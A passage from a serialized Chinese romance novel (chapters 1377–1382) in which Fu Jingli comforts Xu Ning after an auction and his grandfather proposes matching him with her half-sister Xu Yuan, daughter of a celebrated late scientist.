她顺着他的目光看过去,看到了车里抱在一起的傅京礼和许宁。她的目光,在两人身上停留了一瞬,眼中闪过一丝了然和淡淡的惊讶。 她已经知道许宁和傅京礼关系匪浅,但没想到这两人能在拍卖会场外就如此亲密地搂抱在一起,看来傅京礼对许宁的在意,远比她想象的要深。 许愿的脸上,露出一抹似有若无的笑意,像是有些无奈,又像是有些感慨。 她轻轻地掀了掀唇角,没有说话。她的目光平静如水,没有嫉妒,没有愤怒,只有一种看透世事的淡然。 她能感受到盛景炎的挑衅,也能感受到傅京礼的窘迫。 这一切,在她看来,都像是一场没有意义的闹剧。 她转过头,看向身旁的盛景炎。此刻的盛景炎,眼神依旧冰冷地盯着傅京礼的方向,浑身散发着一种冷冽的气息,像一头随时准备扑杀的猎豹。 许愿轻轻地拉了拉他的衣袖,声音温柔而平静,带着一丝劝解:“我们走吧,别看了。” 她的声音,像一阵清风,吹散了盛景炎身上那股凌厉的寒气。 盛景炎收回目光,低头看着她,眼中的冰冷在接触到她温柔的目光时,渐渐融化,取而代之的是一抹柔情。 他点了点头,揽着她的肩,转身走向自己的车,再也没有回头看一眼,仿佛刚才的一切,都不过是路边的一场无聊的风景。 傅京礼将盛景炎的挑衅和许愿的淡然,都看在了眼里。他的眼神,在盛景炎的目光下,变得深邃而复杂。 他感受到了来自盛景炎的鄙夷和嘲讽,也感受到了许愿那份平静下的疏离。 他的指腹,无意识地在许宁的肩上摩挲着,动作很轻,却带着一丝不易察觉的紧绷。 他没有回应盛景炎的挑衅,只是静静地坐在车里,一只手依旧轻轻地放在许宁的肩上。 他的脸上,看不出任何情绪,只是眼神深处,似乎有什么东西在悄然沉淀,像深潭下的暗流,无声无息,却汹涌澎湃。 许宁依旧沉浸在自己的委屈和恐慌中,她没有注意到车外发生的一切,只是紧紧地抱着傅京礼,仿佛他是她唯一的依靠。 她的哭声渐渐平息,只剩下偶尔的抽噎,身体也渐渐停止了颤抖。 傅京礼低头看着她,眼神复杂。他轻轻地叹了口气,将车门关上,“咔哒”一声,隔绝了外面的世界。 他没有再解释什么,只是默默地启动了车子,缓缓驶离了这片是非之地。 车内,再次恢复了安静。只有许宁细微的抽噎声和傅京礼平稳的呼吸声。 窗外的霓虹灯,一盏盏地闪过,映照在傅京礼的侧脸上,光影斑驳,让人看不清他真实的表情。 他的手指,离开了许宁的肩膀,重新握住了方向盘,指节微微泛白。 许宁的情绪渐渐平复下来,她从傅京礼的怀里抬起头,有些怯懦地望着他。 她看到他紧抿的唇角和深邃的眼眸,心中依旧忐忑不安。 “阿礼哥哥……”她轻声唤道,声音里还带着一丝哭过后的沙哑和小心翼翼。 傅京礼没有看她,只是专注地开着车,声音低沉而平静,听不出任何情绪:“坐好。” 第1377章 我只有你了 他的语气里,既不像生气,也不像安慰,只有一种公事公办的淡漠。 许宁的心,再次提了起来。 她不知道他到底在想什么,不知道他是不是真的不生气了。 她想再问,却又不敢。她只是默默地坐好,双手放在膝盖上。 车子在夜色中平稳地行驶着,许宁靠在座椅上,望着窗外飞逝的街景,心中五味杂陈。 …… 夜色如墨,将城市的喧嚣渐渐吞没,只剩下路灯昏黄的光晕,温柔地洒在傅京礼的车上。 车内,空气仿佛凝固了一般,压抑而沉闷。 许宁此刻像一只被惊吓过度的小鸟,蜷缩在副驾驶座上,她似乎是什么都不敢说了。 她将所有的委屈、不安和惶恐,都咽回了肚子里,只化作一双湿漉漉的眼睛,时不时地、怯生生地抬起,偷偷地看向傅京礼。 她的眼神里,充满了小心翼翼和试探。她害怕,害怕自己说错什么话,再惹得傅京礼不开心,害怕那本就岌岌可危的关系,会因为自己的一句不当言语而彻底崩塌。 她甚至不敢大口呼吸,生怕惊扰了这片刻的宁静。她只能用眼角的余光,偷偷地描摹着傅京礼的侧脸,他紧抿的唇,他深邃的眼眸,他轮廓分明的下颌线,每一个细节,都深深印刻在她的心里。 她想记住此刻的他,害怕下一刻,他就真的会从她的世界里消失。 车子平稳地行驶着,窗外的街景飞速倒退,每一盏路灯的光影,都像是在她心上划过一道痕迹。她的心,随着车轮的滚动,也一点点地沉了下去。 离她家越来越近,那种即将失去的恐慌,便愈发强烈地攫住了她。 终于,车子停在了她家楼下。 傅京礼侧过头,声音平静地提醒:“到了。”他的语气里,听不出任何情绪,既没有不耐烦,也没有温柔,似乎很平静,可现在许宁就是害怕他的平静。 许宁的手,紧紧地攥着安全带,指节因为用力而泛白。 她坐在座位上,一动不动,像一尊雕塑。 她是真的舍不得下车。这个小小的车厢,是她和傅京礼之间最后的、也是最亲密的空间。 她害怕,害怕自己一旦踏出这个空间,就真的会被傅京礼彻底冷落,会被他无情地推开,从此以后,他再也不会来找自己。 这个念头,像一把冰冷的刀狠狠地刺进她的心脏,让她痛得几乎无法呼吸。她无法接受这一切,无法接受没有傅京礼的未来。 她再次抬起头,目光中充满了绝望和哀求,像溺水的人抓住最后一根稻草。 她看着傅京礼,嘴唇翕动了几下,却终究没有说出一个字。她的眼神,已经将她所有的不舍和恐慌,都表达得淋漓尽致。 傅京礼看着她,眸光深邃,看不出情绪。他没有催促,只是静静地等着。 然而,他这份沉默,却让许宁心中的恐慌无限放大。 就在傅京礼准备再次开口时,许宁像是孤注一掷般,猛地解开安全带,不顾一切地再次扑进了傅京礼的怀里。 这一次,她的动作比之前在拍卖会场外更加激烈,更加绝望。 她死死地抱住他的腰,双臂用尽了全身的力气,仿佛要将自己嵌进他的身体里。 她的脸紧紧贴在他的胸口,听着他沉稳的心跳,才觉得自己此刻活了过来。 她死死地抱着傅京礼不肯放手。 她的声音带着浓重的哭腔,颤抖着,破碎地响起:“阿礼哥哥……你不能不理我,不要因为这件事不喜欢我好不好?求求你了……”她的声音里,充满了卑微的乞求和无助的绝望,每一个字,都像是从喉咙深处硬生生挤出来的。 傅京礼的身体,在她扑进怀里的瞬间,再次僵硬了。 他能感受到她身体的颤抖,能感受到她手臂的力量。他的眸光,在昏暗的车内,微微沉了沉,变得幽暗而深邃,像一潭深不见底的湖水,翻涌着复杂的情绪。 他沉默了片刻,才缓缓开口,声音低沉而沙哑,带着一丝不易察觉的疲惫:“许宁,你先放手。” 她像一只倔强的刺猬,将自己紧紧地蜷缩在傅京礼的怀里,摇了摇头,声音更加哽咽:“我不放!如果我放开的话,你就真的不会再理我了!阿礼哥哥,我求求你,不要丢下我……” 她的泪水,再次决堤,打湿了他胸前的衣襟,也烫得他的心,微微发紧。 傅京礼沉默了。 他没有再强硬地要求她放手,只是任由她抱着。 他的手,悬在半空,最终,还是轻轻地落在了她的背上,动作很轻,带着一丝安抚的意味,一下一下,缓缓地拍着。 他的这个动作,像是一剂强心针,让许宁慌乱的心稍稍得到了一丝慰藉。 她听到他说:“许宁,我不会不理你。” 她的心跳,在听到这句话的瞬间,慢了半拍。 她从他怀里,小心翼翼地探出头,泪眼婆娑地望着他,眼中充满了惊喜、疑惑,还有一丝不敢置信。 傅京礼没有回避她的目光,他的眼神依旧深邃,但似乎柔和了一些。 他看着她,没有再说什么。 许宁看着他,终于,面上露出了一个略带苦涩的笑容。 那笑容里,有劫后余生的庆幸,也有对自己卑微处境的无奈。 她吸了吸鼻子,声音依旧带着哭腔,但比之前平静了许多:“阿礼哥哥,我的身份你是知道的。我知道我的身份上不得台面,我知道圈子里的人都看不起我,觉得我是个见不得光的私生女,是个笑话。但是阿礼哥哥,我对你的爱是真的,是纯粹的。我真的很喜欢你,真的不能没有你。” 她的话语,听着好像真诚而恳切,每一个字,都发自肺腑。 她再次收紧了手臂,将自己紧紧地贴向他,仿佛要向他证明自己话语的真诚:“所以,阿礼哥哥,不要丢开我好不好?不要因为我卑微的出身,就嫌弃我,就推开我。我只有你了……” 她的眼泪,又开始在眼眶里打转,但她强忍着,不让它们掉下来,只是用一双湿漉漉的眼睛,痴痴地望着他,等待着他的回应。 第1378章 她是傅京礼的人 傅京礼的喉结,微微动了动。 他看着她,看着她那张被泪水洗刷得有些苍白的脸,看着她眼中那份孤注一掷的爱和恐慌。 他的内心,像是被什么东西轻轻撞击了一下,泛起一阵涟漪。 他没有给出她想要的承诺。他只是伸出手,动作有些僵硬地,一点点地,轻轻地扯开她紧紧环抱住他的手臂。 他的指尖,触碰到她纤细的手腕,能感觉到她皮肤的细腻和温度。 他的动作很轻,带着一丝安抚,但更多的是不容拒绝。 他将她的手,轻轻地放回她的身侧,然后,他深吸了一口气,声音低沉而平静,带着一丝安抚,也带着一丝疏离:“许宁,先下车吧。不要想太多。” 他的语气,是温和的,但也是坚定的。 他没有承诺什么,也没有否认什么,只是让她下车,让她不要再胡思乱想。 许宁的手,被他轻轻放回身侧,那股熟悉的温暖,瞬间抽离,她看着他,眼神里充满了不舍和迷茫。 她知道,他没有给她想要的承诺,他依旧在和她保持着距离。 她知道,自己不能再任性了。 她慢慢地,有些僵硬地解开安全带,推开车门。 夜风灌进车内,带着一丝凉意,让她清醒了几分。 她最后深深地看了傅京礼一眼,那眼神里,充满了复杂的情绪,有爱,有不舍,有惶恐,也有无奈。 她慢慢地走下车,双脚踩在坚实的地面上,才让她感觉到一丝真实。 她站在车外,透过半开的车窗,看着车内的傅京礼。 他依旧坐在驾驶座上,侧脸的轮廓在昏暗的灯光下,显得格外冷峻和疏离。 他没有看她,只是目视前方,似乎在思考着什么。 许宁的心,再次沉了下去。她知道,今晚的事情,已经在他们之间,划下了一道看不见的鸿沟。 她想要跨越它,却感到无比的艰难。 她站在那里,没有立刻离开,只是痴痴地望着他,仿佛要将他的样子,刻进自己的脑海里。 傅京礼似乎感受到了她的目光,他侧过头,看了她一眼,眼神平静无波:“回去吧,早点休息。” 他的声音,像一阵风,吹散了她最后的幻想。 她点了点头,声音低低地“嗯”了一声,然后,她转身,一步一步地朝着楼道走去。 她的背影,在路灯下,显得格外单薄和落寞,每一步,都走得有些沉重,仿佛脚下灌了铅。 傅京礼看着她的背影,直到她的身影消失在楼道里。他才收回目光,重新启动了车子。 引擎的轰鸣声,在寂静的夜里,显得格外清晰。 车内,还残留着许宁身上淡淡的香水味,和她泪水的咸涩气息。 傅京礼的指尖,似乎还残留着她肌肤的触感。他靠在座椅上,闭上眼睛,深深地叹了一口气。 许宁的身份,是横亘在他们之间一道无法逾越的鸿沟。 他不是没有考虑过,不是没有犹豫过。 今晚的拍卖会,和盛景炎的挑衅,都让他更加清晰地意识到这一点。 他的世界,和她的世界,本就是两个截然不同的世界。 他可以给她一时的庇护,一时的温柔,但他能给她什么承诺? 他能给她一个名分吗? 他能让她堂堂正正地站在他身边,面对所有人的目光吗? 他不知道。 他只知道,此刻的他,感到前所未有的疲惫。 他不是不喜欢许宁,他甚至承认,他对她是有一些感情的。 但这份感情,在现实面前,在家族的期望,在世俗的眼光面前,显得那么的苍白无力。 他无法承诺她未来,所以他选择了沉默。 …… 傅京礼的车子一路疾驰,最终稳稳地停在了他位于城市中心的高级公寓楼下。 窗外的城市灯火辉煌,玻璃幕墙反射着五光十色,却照不进他内心的幽深与沉重。 车内一片静谧,只有空调低微的送风声陪伴着他的沉默。 车子还未停稳,傅京礼便已伸手从西装口袋里取出手机,修长的手指在屏幕上快速而冷静地按下了一串号码,电话几乎是刚拨出去便被接通,那头传来助理低沉而恭敬的声音:“傅总。” 傅京礼的声音平淡,却带着不容置疑的冷冽:“查一下今晚拍卖会上,那几个嘲讽许宁的,都是哪几家的。让她们长长记性,需要给她们一些教训。” 他的语气没有半分情绪起伏,仿佛在陈述一件再普通不过的公事,但熟悉他的人都知道,他其实隐有动怒。 助理立刻应道,声音里带着一丝紧张:“是,傅总,我马上去办。” 傅京礼没有再多言,径直挂断了电话。 通话结束的瞬间,他整个人才微微放松下来,靠在冰冷他的座椅上,闭上眼睛,用指节用力地捏了捏眉心。 一阵轻微的疲惫从身体深处蔓延开来,仿佛要将他吞噬。 他睁开眼,目光透过挡风玻璃,望向公寓楼顶那片深邃的夜空,眼中闪过一丝难以察觉的复杂情绪。 在拍卖会上,他什么都没说,什么都没做。不是因为不在意,也不是因为懦弱,而是他不想把事情闹得太大,更不想在那个场合让许宁更加难堪。 他深知,一旦他出面维护,只会让那些流言蜚语更加肆无忌惮,甚至可能将许宁推向更尴尬的境地。 可是,许宁是他亲自带去的人,是站在他身边,被众人注视的女伴。那群人却肆无忌惮地当着他的面,用尖酸刻薄的语言嘲讽许宁,对她进行无端的羞辱,甚至有人故意提及她私生女的身份,言语间充满了鄙夷与轻蔑。 在傅京礼看来,这已经不仅仅是针对许宁了。 这等同于是在众目睽睽之下,狠狠地打他的脸,挑战他的权威。 许宁现在是他傅京礼的人。 他傅京礼的人,还轮不到外人来随意践踏。他可以容忍许宁身份的尴尬,可以容忍一些暗地里的流言蜚语,但他无法容忍有人当着他的面,如此不给他面子,如此践踏他的尊严。 第1379章 想见许愿一面 他要让那些人知道,得罪他的人,会付出什么样的代价。他有无数种方法,让那些人后悔今晚的言行,让他们明白,有些人的底线,是不能触碰的。 做完这一切,傅京礼才缓缓地打开车门,迈着沉稳的步伐走进了公寓大楼。 电梯里,冰冷的金属壁映照着他略显疲惫的脸,眼神依旧深邃而幽暗。 回到自己的公寓,刚换下剪裁合体的西装外套,将钥匙随手丢在玄关的柜子上,发出一声轻响。 他松开领带,走到巨大的落地窗前,许是心情并不算好才打算喝酒调解。他走到酒柜前,取出一瓶珍藏的单一麦芽威士忌,琥珀色的液体倒入水晶杯中,在灯光下折射出迷人的光泽。 就在这时,手机不合时宜地响了起来。 屏幕上闪烁着“爷爷”两个字,傅京礼的眼皮在看到这个名字的瞬间不受控制地跳了一下。 他深吸一口气,已经猜到老爷子这通电话的来意了。 无非是关于今晚拍卖会的事情,以及……许宁。 他按下接听键,将手机放到耳边,声音一如既往的平静,甚至带着一丝刻意的淡漠:“爷爷。” 电话那头,傅老爷子的声音带着一丝长辈特有的威严和关切,透过电波传来,带着一丝不容忽视的压力:“阿礼,听说你今晚去参加了拍卖会?” 傅京礼顿了顿,目光投向窗外,语气淡然地回应:“嗯,是有参加。” 傅老爷子似乎是在确认什么,停顿了一下,又问,声音里带着一丝探寻:“听说,你带了女伴?” 傅京礼的指尖,在手机屏幕上轻轻敲击了一下,发出细微的声响,像是在压抑着内心的某种情绪。 他淡淡地“嗯”了一声,算是回答,声音里不带一丝波澜。 电话那头沉默了一瞬,随即传来傅老爷子的一声轻笑,但这笑声里,却带着一丝不容忽视的警告,像一把裹着棉花的利刃:“阿礼,带女伴出去可以,爷爷不干涉你的私生活。但是,你要时刻记住你的身份,记住你姓傅。爷爷不强求你未来娶进门的妻子,一定是豪门望族的千金,但最起码,要是个清清白白、家世清白的好人家出身。” 傅老爷子的语气,渐渐变得严肃起来,每一个字都像重锤敲击在傅京礼的心上:“那些不三不四的人,那些会引来闲言碎语,甚至有辱傅家门楣的人,爷爷希望你离远点。哪怕你将来娶个无父无母、没有任何背景的孤女进门,只要她人品端正,爷爷也不会说什么。阿礼,你能明白爷爷的意思吗?” 他沉默了,很久都没有回话。 公寓里一片死寂,只有他略显沉重的呼吸声。 他能想象到电话那头,爷爷严肃而关切的脸庞,那是一种混合了家族责任感和对晚辈期望的复杂神情。 他知道爷爷说的是谁,也知道爷爷的担忧。 许宁的身世,确实是他无法回避的痛点。 私生女的身份,从小到大所经历的那些坎坷和白眼,都让她在上流社会的眼中,成了一个“不体面”的存在。 爷爷是在提醒他,也是在警告他,不要因为一时的冲动,毁了傅家的名声,也毁了自己的前途。 傅京礼的沉默,让傅老爷子叹了口气。 “算了,”傅老爷子缓和了一下语气,试图用另一种方式来引导他,“爷爷有个老友的女儿,叫阿愿,我见过,是个很优秀的女孩子,漂亮、懂事,家世也清白,跟你年龄也算相当。你要不要见一见?” 傅京礼的眉头,在听到“阿愿”这个名字的瞬间,微微一蹙。 他顿了顿,声音有些干涩地开口,带着一丝抗拒:“爷爷,不必为我做这些。我的事情,我自己会处理。” 傅老爷子似乎有些不悦,声音提高了几分,带着长辈的不容置喙:“你都还没听爷爷介绍,怎么就说不必了?阿愿真的很优秀,很漂亮,我相信你会喜欢的。” 傅京礼的心,又一次听到“许愿”这个名字时,像是被什么东西轻轻撞了一下。 他的脑海中,不由自主地浮现出许愿的身影。 他印象中的许愿,带着一种与众不同的气质。 她的五官精致而立体,眉眼间透着一股天生的清冷,像冬日初雪,不染尘埃。 那双眼睛,尤其令人心动,瞳仁漆黑如墨,眼波流转间,仿佛有星子落入其中,明亮却不灼人,带着一丝疏离,又藏着几分不经意的温柔。她的眼神,总能轻易穿透别人的伪装,直抵人心深处,让人不敢直视,却又忍不住想要靠近。 她的美,不是那种热烈奔放的艳丽,而是一种带着距离感的明艳。分明样貌艳丽明媚得让人移不开眼。 那是一种极具反差的美感,清冷与明媚在她身上奇妙地融合,形成了一种致命的吸引力。 纵然傅京礼见过很多美人,但不可否认许愿是他最欣赏的那一款,比之温栩栩的那种妩媚更加吸引人。 他的声音此刻带着一丝连他自己都未察觉的恍惚,轻轻地问,声音里充满了不确定:“爷爷……你是说阿愿?难道是……许愿吗?” 电话那头,傅老爷子似乎察觉到了他语气中的异样,声音里带着一丝探寻,甚至有一丝不易察觉的欣慰:“怎么?你认识阿愿?” 傅京礼没有回答。 他的脑海中,思绪翻涌,久久无法平静。 傅京礼的心,乱了。他端起酒杯,将杯中剩余的威士忌一饮而尽,辛辣的液体滑过喉咙,带来一丝灼热的刺痛感,却无法驱散他内心的迷茫。 傅老爷子这句话其实就代表了很久,老爷子问傅京礼是不是认识阿愿,就说明这个阿愿就是傅京礼说的许愿。 傅京礼觉得自己喉咙都有些干涩了。 他想,老爷子知道许愿跟盛景炎的关系吗?或者说老爷子知道许宁跟许愿是同父异母的姐妹吗?还是说老爷子就是因为知道两人是同父异母的姐妹所以才打算把许愿介绍给他? 可不论怎么说,傅京礼都想见她一面。 第1380章 她是苏青莲的女儿 夜色如墨,城市灯火点缀着静谧的天际。 傅京礼独坐书房,窗外风声轻响,屋内只余下手机的微弱光亮。 他原本平静的心绪,因“许愿”这个名字,骤然起了涟漪。 他没想过,许愿会与老爷子认识。 他顿了下,指腹无意识摩挲着手机边缘,眼神微微闪烁,声音带着几分迟疑和探寻:“爷爷,你说许愿是你老友的女儿,你的老友是现今的许家家主许镇江吗?” 因为许宁的关系,所以傅京礼在拍卖会结束后让人调查了下许镇江,还算是有点了解,但不深,只知道是个小家族的家主,不必高看他。 电话那头,老爷子听到“许镇江”三字,像是嘴里含了颗发苦的药丸,脸色瞬间阴沉,似乎是觉得恶心,冷笑声从听筒里传出,带着毫不掩饰的鄙夷与厌恶:“许镇江也配?他算哪门子的老友!” 傅京礼眉心微蹙,他没想到老爷子反应如此激烈,那语气里满是不屑,仿佛提及许镇江是一种侮辱。 他沉声追问:“爷爷,为什么这么说?” 老爷子的声音冷得像冰,带着久经世事的沧桑与嘲讽:“你难道没听说过跟许家相关的那些龌龊事吗?” 傅京礼沉默了。 他确实没听说过。 他的世界,被商业版图、家族责任与自身原则填满,对于上流社会那些捕风捉影的八卦,尤其是涉及许家这种与傅家交集不深的家族,他向来不屑一顾,也无暇关注。 此刻,听着老爷子阴阳怪气的嘲讽,傅京礼也是真的好奇究竟是什么样的事,能让一向沉稳持重的老爷子如此失态,对许镇江厌恶至此? 要知道老爷子很少会这么厌恶一个人,所以许镇江到底做了什么,让老爷子听到他的名字就觉得恶心的地步? 老爷子似乎在等他的反应,见他沉默,便继续冷嘲道:“你不知道这个,总知道苏青莲吧?” “苏青莲?” 傅京礼的瞳孔骤然一缩,苏青莲,这个名字对于华国,乃至全球科技界来说,都曾是一个传奇,一个神话。 她是第一个提出“全息”概念的天才,是无数前沿科技领域的奠基人。她的思想超前成就逆天。当年苏青莲的一些研究手稿至今还被吵 在傅京礼的认知里,苏青莲是神祇般的存在。她的论文她的构想,至今仍是许多顶尖实验室追逐的目标。 她曾以一己之力,推动华国科技在世界舞台上崭露头角,是无数青年才俊心中的偶像。 可惜,天妒英才,她英年早逝,她的死因一直是高级机密,被层层封锁,外界众说纷纭,却无从得知真相。 甚至有人说,如果苏青莲还在,华国的科技水平至少能再领先世界十年。 傅老爷子的冷笑,将傅京礼从对苏青莲的追忆中拉回现实:“许镇江,就是苏青莲的丈夫。” “什么?” 傅京礼瞬间怔住。 苏青莲竟然是许镇江的妻子? 许镇江是什么东西? 他配吗? 一股难以置信的荒谬感和强烈的愤怒涌上心头。 他无法想象,那样一个灵魂竟然会和许镇江那样的人绑在一起。 傅老爷子仿佛能透过电话,看到他震惊的表情,语气中的嘲讽更浓了:“你是不是觉得,许镇江能娶到苏青莲,是祖坟冒青烟了?呵,可惜,有些人,就是身在福中不知福。” 老爷子的声音里充满了鄙夷,“你知道许镇江是什么东西吗?他在婚后不久,就出轨了,还搞出了个私生女!” 傅京礼的拳头,在不知不觉间握紧,指节泛白。 他听到了一个他从未想过,也从未关注过的家族丑闻,而这丑闻,竟然与他刚刚在脑海中浮现的,那个明艳清冷的许愿,有着千丝万缕的联系。 “知道苏青莲是哪一天去世的吗?”老爷子的声音,带着一丝残忍的揭露,“她是在许镇江的生日宴当天,自杀身亡的。她无法忍受许镇江的背叛,无法忍受那个肮脏的家庭,所以,她选择了结束自己的生命,用最决绝的方式,来摆脱这一切!” 苏青莲的死,竟然是因为许镇江的出轨和背叛? 她是在许镇江的生日宴上,绝望自杀? 这个真相,像一把锋利的刀,狠狠地刺入他的心脏。 他无法想象,那个创造了无数奇迹的天才,那个本应拥有无限未来的灵魂,竟然会因为一个男人的卑劣,而走向毁灭。 “所以,”傅京礼的声音,带着一丝颤抖,一字一句地问,“是许镇江出轨有了私生女才逼死了苏青莲?” “没错。”老爷子的声音,冰冷而肯定。 傅京礼的思绪,在这一刻,彻底乱了。 他想到了许愿。 许愿是苏青莲和许镇江的女儿。 那么,那个他刚刚在脑海中描绘出明艳清冷形象的许愿,她的身上,流淌着苏青莲的血液。 她是那位传奇天才的女儿,怪不得,怪不得爷爷会说她优秀,会极力撮合他和她。 如果许愿遗传了苏青莲的天赋和技能,那她的优秀,将是无可比拟的,她将成为下一个传奇,甚至超越她的母亲。 而许宁呢? 傅京礼的脑海中,不由自主地浮现出许宁那张带着泪痕的脸。她的身份,此刻也变得清晰起来。 她是许镇江和情人的私生女。 她和许愿,是同父异母的姐妹,却因为母亲的不同,命运天差地别。 一个是天才之女,名正言顺的许家千金,一个是私生之女,身份卑微,从小便要承受世人的白眼和议论。 怪不得,她们之间的差距会这么大。 怪不得,许愿的身上,总有一种与众不同的气质,一种深入骨髓的骄傲和清冷。 傅京礼的脸色,变得极其复杂。 他为苏青莲的悲剧感到愤怒和痛心,也为许宁的身世感到一丝怜悯。 他没想到,许宁的身份背后,竟然隐藏着如此曲折的真相。 他更没想到,许愿的母亲,竟然是苏青莲。 这一刻,傅京礼对许愿的认知,彻底被颠覆了。 她不再仅仅是一个明艳清冷的美人,不再仅仅是一个家族联姻的对象。 她是苏青莲的女儿。 第1381章 阿愿很喜欢你的 许愿的身份,让他开始理解爷爷为何对她赞不绝口,开始理解她为何会如此优秀。 与许愿的光环相比,许宁的身份,显得更加卑微和可怜。 她是私生女,这个标签像一道无法抹去的烙印,伴随她一生。 无论她如何努力,如何优秀,都无法摆脱这个身份带来的枷锁。她是父亲不忠的产物,是母亲无法名正言顺的证明。她或许会比同龄人更早熟,更懂得察言观色,因为她需要小心翼翼地保护自己,避免成为别人攻击的靶子。 她与许愿,是同父异母的姐妹,却像生活在两个完全不同的世界。 许愿是天上的明月,她是地上的尘埃。这种对比,让她内心更加敏感和自卑。 在拍卖会上,她那张带着泪痕的脸,让傅京礼心头一颤。他怜惜她的处境,也为她的挣扎感到无奈。 许宁的卑微在傅京礼心里其实并不是她自己的错,而是命运的捉弄。 可纵然内心是心疼许宁的,但对许愿还是多了几分好奇。 其实今天就好奇,但是他身边有许宁,许愿身边有盛景炎,所以不便多说多问。 但现在静下来,他还是想见许愿。 电话那头,老爷子还在说着什么,但傅京礼的思绪,已经飘远。 他对着电话缓缓开口说:“爷爷,我想见见她。” 这一刻,他不再是为了敷衍老爷子,不再是为了家族的利益,而是出于他内心最真实的渴望。 他想见见许愿,是真的想跟她聊一聊。 电话那头,老爷子似乎愣了一下,随即,传来了一声欣慰的轻笑。 夜色沉沉,书房里一片静谧,唯有桌角的台灯洒下柔和的光晕。 傅老爷子在电话那头语气笃定,带着长辈特有的欣慰与深意:“我就知道你拎得清。阿愿人谦卑礼貌,这孩子打小就恭顺有礼,你会喜欢阿愿的。” 他的话语里满是欣赏,语气里既有长辈对晚辈的疼爱,也有对家族未来的深远考量。 傅老爷子顿了顿,声音里添了几分郑重和期待,意味深长道:“你会知道娶了阿愿的好处。” 傅京礼眉梢微挑,心中泛起一丝疑惑。 他沉声问道:“为什么,我不懂爷爷你的意思。” 老爷子轻咳一声,娓娓道来:“许愿的母亲苏青莲,曾经是帝城无数人心中的白月光。她那样的才貌,吸引的追求者自然不是凡人。那些追求苏青莲的人,当年都是帝城数一数二的人物,如今,已然成为各大家族的家主,手握权势,影响一方。” 老爷子顿了顿,语气里带着几分指点江山的意味:“如果你娶了许愿,就等同于得到那些人的助力。这份人脉与资源,对于傅家来说,无疑是如虎添翼。” 老爷子将利益与情感交织在一起。 他欣赏许愿是真的,喜欢她谦卑有礼、恭顺懂事,是真心希望许愿能成嫁给傅京礼。 但同时,他也不得不承认,这其中也包含着为家族长远发展的考量。这份欣赏与利益,并不冲突,反而相辅相成。 他希望傅京礼能明白,娶许愿,不仅是一桩美满的姻缘,更是一次对家族前途的深远布局。 这些层面,是傅京礼之前未曾想到的。他一直以为,老爷子对许愿的推崇,更多是出于对她个人品性的喜爱。此刻才明白,这其中还蕴藏着如此深厚的人脉与影响力。 他想起苏青莲的才情,以及她身后那些追随者的忠诚。 以苏青莲的才貌,老爷子的话绝非夸大其词,而是实实在在的现实。 他沉默片刻,消化着这个信息。然后,他问道:“爷爷,你想好怎么跟她说了吗?” 傅老爷子语气轻松,带着几分笃定:“你还不知道吧,阿愿很喜欢你的。如果我跟阿愿提及跟你相亲订婚的事,阿愿会同意的。” 这是傅京礼第二次从别人的口中,听到“许愿喜欢他”这样的言论。 第一次或许是巧合,第二次却让他不得不认真思考。 许愿,真的喜欢他吗? 这个念头在他脑海中盘旋。 他回想起与许愿有限的几次接触,她总是表现得礼貌而疏离,眼神清澈,却似乎总带着一丝难以捉摸的距离感。 他自认阅人无数,却实在无法从她的眼中,捕捉到多少欢喜的神色。 那份清冷,像一层薄雾,将她的情绪很好地掩藏起来。 傅京礼眸光微闪,他低声问道:“爷爷,许愿真的喜欢我吗?” 傅老爷子在电话那头笑了笑,带着几分过来人的了然:“当然。好几次你来傅家老宅的时候,阿愿都在我的书房偷偷看你呢。那孩子,性子静,又腼腆,总是躲在书架后面,或者借着整理书卷的名义,悄悄打量你。只是你小子心思都在公事上,一向都很忙,所以没注意到阿愿的眼神。” 傅老爷子的话让傅京礼忍不住想到更多。 他仿佛能看到那个场景。 阳光透过雕花木窗,在书房里投下斑驳的光影。许愿安静地站在高大的书架旁,纤细的手指拂过书脊,眼神却不由自主地飘向客厅的方向,落在他身上。 那份小心翼翼的窥探,带着少女的羞涩和期盼,被忙碌的他完全忽略了。 傅京礼的喉结微微滚动,心中五味杂陈。 他有些恍惚,也有些动容。 那份被忽略的注视,此刻想来竟带着一丝令人心悸的温柔。 他张了张嘴,想说些什么,最终却只是轻轻地“嗯”了一声,声音带着一丝不易察觉的沙哑:“我知道了,爷爷。你安排我跟她见面吧。” 他的语气里,已经没有了最初的抗拒和敷衍,而是带着一丝主动的期待。 他想见见她,想亲眼看一看,那个据说喜欢他,却又在他面前表现得如此冷静的许愿。 傅老爷子听出了他语气中的变化,满意地笑了:“见面是可以,但你给我听好了。” 老爷子的语气突然严肃起来,带着长辈的告诫:“不要给阿愿摆什么冷脸,不要仗着人家喜欢你就得寸进尺,傲慢无礼。人家是好孩子,值得你用心对待。听到没有?” 第1382章 你总是跟我这样客气 傅京礼的脑海中,浮现出许愿那张清冷的脸。 他摇了摇头,郑重地承诺道:“我知道,爷爷。不会的。” 他明白老爷子的担忧。以他的性格,确实容易给人一种难以接近的疏离感。 但这一次,他愿意为了许愿,也为了爷爷的期望,做出改变。 老爷子这才放下心来,语气也变得轻松愉快,笑呵呵地道:“那就好,那就好。这事,爷爷来安排,你就等着好消息吧。” 说完,便心满意足地挂断了电话。 电话那头传来“嘟嘟”的忙音,傅京礼却久久没有放下手机。 他靠在椅背上,闭上眼睛,脑海中反复回想着老爷子的话。 老爷子对许愿的评价,绝非虚言。许愿的谦卑有礼,是深入骨髓的教养,是经历过风雨后的沉淀。 她虽是许家千金,却从不仗势欺人。她的谦卑,不是刻意为之,而是一种与生俱来的气质。 她懂得尊重每一个人,无论对方的身份地位如何。 她的礼貌,不是客套,而是发自内心的善意。她会在别人需要帮助时,默默地伸出援手,不求回报。 而老爷子所说的“好处”,远不止是那些追求者如今的身份那么简单。 苏青莲的追求者们,当年被她的才华与人格魅力所折服。他们对苏青莲的敬仰,是纯粹而持久的。这份敬仰,会自然而然地转移到她的女儿许愿身上。 他们会将许愿视为苏青莲精神的传承者,给予她最真诚的帮助与支持。 对于傅家而言,这不仅仅是获得了几个盟友,而是打开了一扇通往帝城顶级圈层的大门。 那些家主们的人脉、资源、情报网,都将为傅家所用。 这将极大地提升傅家在帝城的地位,为傅京礼未来的事业,铺平道路。 更重要的是,许愿自身所代表的未来。她继承了苏青莲的天赋,如果能在科技领域有所建树,她将成为新一代的领军人物。 与她联姻,意味着傅家将深度参与到未来科技的发展浪潮中,抢占先机。 这种“好处”,是长远的,是战略性的,是老爷子作为家族掌舵人,深思熟虑后的选择。 所以哪怕傅京礼心里清楚自己并不想联姻,但是只要想到许愿,就会有种自己其实很想跟她相伴的错觉。 